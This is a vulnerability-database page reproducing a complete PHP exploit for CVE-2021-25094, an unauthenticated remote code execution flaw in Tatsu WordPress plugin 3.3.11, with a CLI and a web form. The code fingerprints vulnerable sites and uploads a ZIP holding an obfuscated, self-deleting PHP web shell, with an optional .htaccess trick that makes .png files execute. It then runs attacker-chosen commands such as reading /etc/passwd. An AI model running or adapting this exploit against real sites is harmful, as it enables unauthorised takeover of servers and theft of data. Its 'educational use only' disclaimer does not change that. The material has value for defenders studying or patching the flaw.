Lucene search
K

๐Ÿ“„ WordPress Tatsu 3.3.11 Shell Upload

๐Ÿ—“๏ธย 06 Feb 2026ย 00:00:00Reported byย indoushkaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 146ย Views

Critical unauthenticated remote code execution in Tatsu WordPress plugin 3.3.11 via ZIP upload.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Mephisto
21 May 202605:06
โ€“githubexploit
GithubExploit
Exploit for Missing Authentication for Critical Function in Brandexponents Tatsu
3 Jan 202221:19
โ€“githubexploit
ATTACKERKB
CVE-2021-25094
25 Apr 202200:00
โ€“attackerkb
Circl
CVE-2021-25094
17 May 202212:00
โ€“circl
CNNVD
WordPress plugin Tatsu ่ฎฟ้—ฎๆŽงๅˆถ้”™่ฏฏๆผๆดž
25 Apr 202200:00
โ€“cnnvd
CNVD
WordPress Tatsu plugin file upload vulnerability
27 Apr 202200:00
โ€“cnvd
Check Point Advisories
WordPress Tatsu Plugin Remote Code Execution (CVE-2021-25094)
30 May 202200:00
โ€“checkpoint_advisories
CVE
CVE-2021-25094
25 Apr 202215:50
โ€“cve
Cvelist
CVE-2021-25094 Tatsu < 3.3.12 - Unauthenticated RCE
25 Apr 202215:50
โ€“cvelist
Exploit DB
Tatsu 3.3.11 - Unauthenticated RCE
18 Apr 202500:00
โ€“exploitdb
Rows per page
=============================================================================================================================================
    | # Title     : WordPress Tatsu 3.3.11 Plugin Unauthenticated File Upload                                                                   |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://tatsubuilder.com/                                                                                                   |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/190566/ & 	CVE-2021-25094
    
    [+] Summary : 
                 Critical unauthenticated remote code execution vulnerability in Tatsu WordPress Plugin (versions 3.3.11) 
    			 allowing attackers to upload and execute arbitrary PHP code through malicious ZIP file uploads without any authentication.
    			 
    [+]  POC : 
    
    php poc.php  or http://127.0.0.1/poc.php 
    
    <?php
    /*
     * Tatsu WordPress Plugin Pre-Auth RCE Exploit
     * CVE-2021-25094
     * by indoushka
     * PHP Implementation based on Python exploit
     */
    
    class TatsuRCEExploit {
        private $target;
        private $port;
        private $ssl;
        private $base_path;
        private $timeout;
        private $headers;
        private $zip_name;
        private $shell_filename;
        
        public function __construct($target, $port = 80, $ssl = false, $base_path = '/') {
            $this->target = $target;
            $this->port = $port;
            $this->ssl = $ssl;
            $this->base_path = rtrim($base_path, '/');
            $this->timeout = 30;
            $this->headers = [
                'X-Requested-With: XMLHttpRequest',
                'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
                'Accept: */*',
                'Accept-Language: en-US,en;q=0.9'
            ];
        }
        
        /**
         * Check if target is vulnerable
         */
        public function check() {
            echo "[*] Checking Tatsu WordPress Plugin vulnerability...\n";
            
            // Check if WordPress is accessible
            $res = $this->send_request('/');
            if (!$res || $res['code'] != 200) {
                echo "[-] Cannot access WordPress site\n";
                return "unknown";
            }
            
            // Check Tatsu plugin
            $res = $this->send_request('/wp-content/plugins/tatsu/');
            if ($res && $res['code'] == 200) {
                echo "[+] Tatsu plugin detected\n";
                
                // Try to check version from changelog
                $version = $this->check_version();
                if ($version && $this->is_version_vulnerable($version)) {
                    echo "[+] โœ“ Tatsu version $version is vulnerable\n";
                    return "vulnerable";
                } else {
                    echo "[+] Tatsu plugin found (version check failed)\n";
                    return "likely_vulnerable";
                }
            }
            
            echo "[-] Tatsu plugin not found\n";
            return "safe";
        }
        
        /**
         * Check Tatsu version
         */
        private function check_version() {
            $res = $this->send_request('/wp-content/plugins/tatsu/changelog.md');
            if ($res && $res['code'] == 200) {
                if (preg_match('/v?(\d+\.\d+\.\d+)/', $res['body'], $matches)) {
                    return $matches[1];
                }
            }
            return null;
        }
        
        /**
         * Check if version is vulnerable
         */
        private function is_version_vulnerable($version) {
            return version_compare($version, '3.3.11', '<=');
        }
        
        /**
         * Generate malicious ZIP file
         */
        private function generate_zip($technique = 'php', $custom_shell = null, $keep = false) {
            echo "[*] Generating malicious ZIP file...\n";
            
            $zip = new ZipArchive();
            $zip_filename = tempnam(sys_get_temp_dir(), 'tatsu_') . '.zip';
            
            if ($zip->open($zip_filename, ZipArchive::CREATE) !== TRUE) {
                return false;
            }
            
            $this->zip_name = $this->random_string(3);
            $this->shell_filename = '.' . $this->random_string(5);
            
            switch ($technique) {
                case 'php':
                    $shell_content = $this->generate_php_shell($keep);
                    $this->shell_filename .= '.php';
                    break;
                    
                case 'htaccess':
                    $shell_content = $this->generate_htaccess_shell($keep);
                    $this->shell_filename .= '.png';
                    break;
                    
                case 'custom':
                    if ($custom_shell && file_exists($custom_shell)) {
                        $shell_content = file_get_contents($custom_shell);
                        $this->shell_filename = '.' . basename($custom_shell);
                    } else {
                        echo "[-] Custom shell file not found\n";
                        return false;
                    }
                    break;
                    
                default:
                    echo "[-] Unknown technique: $technique\n";
                    return false;
            }
            
            if ($technique == 'htaccess') {
                $zip->addFromString('.htaccess', "AddType application/x-httpd-php .png\n");
            }
            
            $zip->addFromString($this->shell_filename, $shell_content);
            $zip->close();
            
            $zip_content = file_get_contents($zip_filename);
            unlink($zip_filename);
            
            return $zip_content;
        }
        
        /**
         * Generate PHP shell
         */
        private function generate_php_shell($keep = false) {
            $shell = '<?php ';
            $shell .= '$f = "lmeyst";';
            $shell .= '@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];';
            $shell .= '@$words = array(base64_decode($_POST[\'text\']));';
            $shell .= '$j="array"."_"."filter";';
            $shell .= '@$filtered_words = $j($words, $a);';
            if (!$keep) {
                $shell .= '@unlink(__FILE__);';
            }
            $shell .= '?>';
            
            return $shell;
        }
        
        /**
         * Generate .htaccess + PHP shell
         */
        private function generate_htaccess_shell($keep = false) {
            $shell = '<?php ';
            $shell .= '$f = "lmeyst";';
            $shell .= '@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];';
            $shell .= '@$words = array(base64_decode($_POST[\'text\']));';
            $shell .= '$j="array"."_"."filter";';
            $shell .= '@$filtered_words = $j($words, $a);';
            if (!$keep) {
                $shell .= '@unlink(\'.\'+\'h\'+\'t\'+\'a\'+\'cc\'+\'e\'+\'ss\');';
                $shell .= '@unlink(__FILE__);';
            }
            $shell .= '?>';
            
            return $shell;
        }
        
        /**
         * Upload malicious ZIP
         */
        private function upload_zip($zip_content) {
            echo "[*] Uploading malicious ZIP file...\n";
            
            $boundary = '----WebKitFormBoundary' . $this->random_string(16);
            
            $data = "--{$boundary}\r\n";
            $data .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";
            $data .= "add_custom_font\r\n";
            $data .= "--{$boundary}\r\n";
            $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"{$this->zip_name}.zip\"\r\n";
            $data .= "Content-Type: application/zip\r\n\r\n";
            $data .= $zip_content . "\r\n";
            $data .= "--{$boundary}--\r\n";
            
            $headers = array_merge($this->headers, [
                "Content-Type: multipart/form-data; boundary={$boundary}",
                "Content-Length: " . strlen($data)
            ]);
            
            $res = $this->send_request('/wp-admin/admin-ajax.php', 'POST', [], $data, $headers);
            
            if ($res && $res['code'] == 200) {
                $json = json_decode($res['body'], true);
                if ($json && isset($json['status']) && $json['status'] == 'success') {
                    echo "[+] ZIP file uploaded successfully\n";
                    if (isset($json['name'])) {
                        $this->zip_name = $json['name'];
                    }
                    return true;
                }
            }
            
            echo "[-] ZIP upload failed\n";
            if ($res) {
                echo "[-] HTTP {$res['code']}: {$res['body']}\n";
            }
            return false;
        }
        
        /**
         * Execute command via uploaded shell
         */
        public function execute_command($command, $technique = 'php', $custom_shell = null, $keep = false) {
            echo "[*] Executing command: $command\n";
            
            // Generate and upload ZIP
            $zip_content = $this->generate_zip($technique, $custom_shell, $keep);
            if (!$zip_content) {
                echo "[-] Failed to generate ZIP file\n";
                return false;
            }
            
            if (!$this->upload_zip($zip_content)) {
                return false;
            }
            
            // Build shell URL
            $shell_url = "/wp-content/uploads/typehub/custom/{$this->zip_name}/{$this->shell_filename}";
            echo "[+] Shell URL: {$this->build_url($shell_url)}\n";
            
            // Execute command
            $encoded_cmd = base64_encode($command);
            $post_data = "text={$encoded_cmd}";
            
            $headers = array_merge($this->headers, [
                'Content-Type: application/x-www-form-urlencoded',
                'Content-Length: ' . strlen($post_data)
            ]);
            
            $res = $this->send_request($shell_url, 'POST', [], $post_data, $headers);
            
            if ($res && $res['code'] == 200) {
                echo "[+] Command executed successfully\n";
                echo "[+] Output:\n{$res['body']}\n";
                return true;
            } else {
                echo "[-] Command execution failed\n";
                if ($res) {
                    echo "[-] HTTP {$res['code']}\n";
                }
                return false;
            }
        }
        
        /**
         * Full exploitation
         */
        public function exploit($command = 'whoami', $technique = 'php', $custom_shell = null, $keep = false) {
            echo "[*] Starting Tatsu WordPress Plugin exploitation...\n";
            
            // Check vulnerability first
            $status = $this->check();
            if ($status !== "vulnerable" && $status !== "likely_vulnerable") {
                echo "[-] Target does not appear to be vulnerable\n";
                return false;
            }
            
            echo "[*] Target appears vulnerable, proceeding with exploitation...\n";
            
            if ($this->execute_command($command, $technique, $custom_shell, $keep)) {
                echo "[+] โœ“ Exploitation completed successfully\n";
                return true;
            } else {
                echo "[-] Exploitation failed\n";
                return false;
            }
        }
        
        /**
         * Send HTTP request
         */
        private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = []) {
            $url = $this->build_url($path);
            
            if ($method == 'GET' && !empty($params)) {
                $url .= '?' . http_build_query($params);
            }
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_CUSTOMREQUEST => $method,
                CURLOPT_FOLLOWLOCATION => false,
                CURLOPT_HEADER => false
            ]);
            
            // Add POST data if provided
            if ($method == 'POST' && $data) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
            }
            
            // Build headers
            $headers = array_merge($this->headers, $custom_headers);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($response !== false) {
                return [
                    'code' => $http_code,
                    'body' => $response
                ];
            }
            
            return false;
        }
        
        /**
         * Generate random string
         */
        private function random_string($length = 8) {
            $chars = 'abcdefghijklmnopqrstuvwxyz';
            $result = '';
            for ($i = 0; $i < $length; $i++) {
                $result .= $chars[rand(0, strlen($chars) - 1)];
            }
            return $result;
        }
        
        /**
         * Build full URL
         */
        private function build_url($path) {
            $protocol = $this->ssl ? 'https' : 'http';
            $full_path = $this->base_path . $path;
            return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
        }
    }
    
    // CLI Interface
    if (php_sapi_name() === 'cli') {
        echo "
        โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
        โ•‘                Tatsu WordPress Plugin RCE                   โ•‘
        โ•‘                      CVE-2021-25094                         โ•‘
        โ•‘                     PHP Implementation                      โ•‘
        โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
        
        \n";
        
        $options = getopt("t:p:s:u:cC:T:k", [
            "target:",
            "port:",
            "ssl",
            "uri:",
            "check",
            "command:",
            "technique:",
            "custom-shell:",
            "keep"
        ]);
        
        $target = $options['t'] ?? $options['target'] ?? null;
        $port = $options['p'] ?? $options['port'] ?? 80;
        $ssl = isset($options['s']) || isset($options['ssl']);
        $base_uri = $options['u'] ?? $options['uri'] ?? '/';
        $check_only = isset($options['c']) || isset($options['check']);
        $command = $options['C'] ?? $options['command'] ?? 'whoami';
        $technique = $options['T'] ?? $options['technique'] ?? 'php';
        $custom_shell = $options['custom-shell'] ?? null;
        $keep = isset($options['k']) || isset($options['keep']);
        
        if (!$target) {
            echo "Usage: php tatsu_exploit.php [options]\n";
            echo "Options:\n";
            echo "  -t, --target        Target host (required)\n";
            echo "  -p, --port          Target port (default: 80)\n";
            echo "  -s, --ssl           Use SSL (default: false)\n";
            echo "  -u, --uri           Base URI path (default: /)\n";
            echo "  -c, --check         Check only (don't exploit)\n";
            echo "  -C, --command       Command to execute (default: whoami)\n";
            echo "  -T, --technique     Shell technique: php, htaccess, custom (default: php)\n";
            echo "  --custom-shell      Custom shell file path (for custom technique)\n";
            echo "  -k, --keep          Keep shell file after execution\n";
            echo "\nExamples:\n";
            echo "  php tatsu_exploit.php -t wordpress.example.com -c\n";
            echo "  php tatsu_exploit.php -t 192.168.1.100 -C 'id; uname -a'\n";
            echo "  php tatsu_exploit.php -t site.com -T htaccess -C 'cat /etc/passwd'\n";
            exit(1);
        }
        
        $exploit = new TatsuRCEExploit($target, $port, $ssl, $base_uri);
        
        if ($check_only) {
            $result = $exploit->check();
            echo "\n[*] Result: {$result}\n";
        } else {
            if ($exploit->exploit($command, $technique, $custom_shell, $keep)) {
                echo "[+] Exploitation completed successfully\n";
            } else {
                echo "[-] Exploitation failed\n";
            }
        }
        
    } else {
        // Web Interface
        $action = $_POST['action'] ?? '';
        
        if ($action === 'check' || $action === 'exploit') {
            $target = $_POST['target'] ?? '';
            $port = $_POST['port'] ?? 80;
            $ssl = isset($_POST['ssl']);
            $base_uri = $_POST['uri'] ?? '/';
            $command = $_POST['command'] ?? 'whoami';
            $technique = $_POST['technique'] ?? 'php';
            $keep = isset($_POST['keep']);
            
            if (empty($target)) {
                echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host is required</div>";
            } else {
                $exploit = new TatsuRCEExploit($target, $port, $ssl, $base_uri);
                
                ob_start();
                if ($action === 'check') {
                    $exploit->check();
                } else {
                    $exploit->exploit($command, $technique, null, $keep);
                }
                $output = ob_get_clean();
                
                echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
            }
            
            echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
            
        } else {
            // Display the form
            echo '<!DOCTYPE html>
            <html>
            <head>
                <title>Tatsu WordPress Plugin RCE - CVE-2021-25094</title>
                <meta charset="UTF-8">
                <style>
                    body { 
                        font-family: Arial, sans-serif; 
                        margin: 0; 
                        padding: 20px; 
                        background: #f5f5f5;
                    }
                    .container { 
                        max-width: 800px; 
                        margin: 0 auto; 
                        background: white;
                        padding: 30px;
                        border-radius: 8px;
                        box-shadow: 0 2px 10px rgba(0,0,0,0.1);
                    }
                    h1 { 
                        color: #333; 
                        border-bottom: 2px solid #007cba;
                        padding-bottom: 10px;
                    }
                    .form-group { 
                        margin-bottom: 20px; 
                    }
                    label { 
                        display: block; 
                        margin-bottom: 8px; 
                        font-weight: bold;
                        color: #333;
                    }
                    input[type="text"], select { 
                        width: 100%; 
                        padding: 10px; 
                        border: 1px solid #ddd; 
                        border-radius: 4px; 
                        box-sizing: border-box;
                        font-size: 14px;
                    }
                    .checkbox-group {
                        display: flex;
                        align-items: center;
                        gap: 10px;
                    }
                    button { 
                        background: #007cba; 
                        color: white; 
                        padding: 12px 25px; 
                        border: none; 
                        border-radius: 4px; 
                        cursor: pointer; 
                        margin-right: 10px;
                        font-size: 16px;
                    }
                    .danger { 
                        background: #dc3545; 
                    }
                    .info { 
                        background: #17a2b8; 
                    }
                    .warning-box {
                        background: #fff3cd;
                        border: 1px solid #ffeaa7;
                        color: #856404;
                        padding: 15px;
                        border-radius: 4px;
                        margin: 20px 0;
                    }
                    .info-box {
                        background: #d1ecf1;
                        border: 1px solid #bee5eb;
                        color: #0c5460;
                        padding: 15px;
                        border-radius: 4px;
                        margin: 20px 0;
                    }
                </style>
            </head>
            <body>
                <div class="container">
                    <h1>Tatsu WordPress Plugin RCE</h1>
                    <h3>CVE-2021-25094 - Unauthenticated Remote Code Execution</h3>
                    
                    <div class="warning-box">
                        <strong>โš ๏ธ Educational Use Only:</strong> This tool demonstrates a critical vulnerability in Tatsu WordPress Plugin.
                        Use only on systems you own or have explicit permission to test.
                    </div>
                    
                    <form method="post">
                        <div class="form-group">
                            <label for="target">Target Host:</label>
                            <input type="text" id="target" name="target" placeholder="wordpress.example.com" required>
                        </div>
                        
                        <div class="form-group">
                            <label for="port">Port:</label>
                            <input type="text" id="port" name="port" value="80">
                        </div>
                        
                        <div class="form-group">
                            <label for="uri">Base URI:</label>
                            <input type="text" id="uri" name="uri" value="/">
                        </div>
                        
                        <div class="form-group">
                            <div class="checkbox-group">
                                <input type="checkbox" id="ssl" name="ssl">
                                <label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
                            </div>
                        </div>
                        
                        <div class="form-group">
                            <label for="command">Command to Execute:</label>
                            <input type="text" id="command" name="command" value="whoami">
                        </div>
                        
                        <div class="form-group">
                            <label for="technique">Shell Technique:</label>
                            <select id="technique" name="technique">
                                <option value="php">PHP Shell</option>
                                <option value="htaccess">.htaccess + PHP</option>
                            </select>
                        </div>
                        
                        <div class="form-group">
                            <div class="checkbox-group">
                                <input type="checkbox" id="keep" name="keep">
                                <label for="keep" style="display: inline; font-weight: normal;">Keep shell file</label>
                            </div>
                        </div>
                        
                        <button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
                        <button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
                    </form>
                    
                    <div class="info-box">
                        <h3>About CVE-2021-25094:</h3>
                        <p><strong>Vulnerability:</strong> Unauthenticated file upload leading to RCE</p>
                        <p><strong>Affected Versions:</strong> Tatsu Plugin โ‰ค 3.3.11</p>
                        <p><strong>Authentication:</strong> None required</p>
                        <p><strong>Endpoint:</strong> /wp-admin/admin-ajax.php</p>
                        <p><strong>Action:</strong> add_custom_font</p>
                        <p><strong>Impact:</strong> Remote Code Execution via ZIP file upload</p>
                        <p><strong>Exploit Chain:</strong> ZIP Upload โ†’ File Extraction โ†’ PHP Execution</p>
                    </div>
                </div>
            </body>
            </html>';
        }
    }
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Feb 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 26.8
CVSS 3.18.1
EPSS0.90975
146